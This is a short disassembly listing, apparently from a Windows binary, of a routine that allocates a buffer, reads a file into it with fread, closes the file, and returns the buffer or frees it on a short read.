call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14000a1a1
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14000a18e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140068da0]
test rax, rax
je 0x14000a183
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000a1aa
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14000a19c
mov qword [r14], rdi
mov rax, rsi
jmp 0x14000a1ac
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret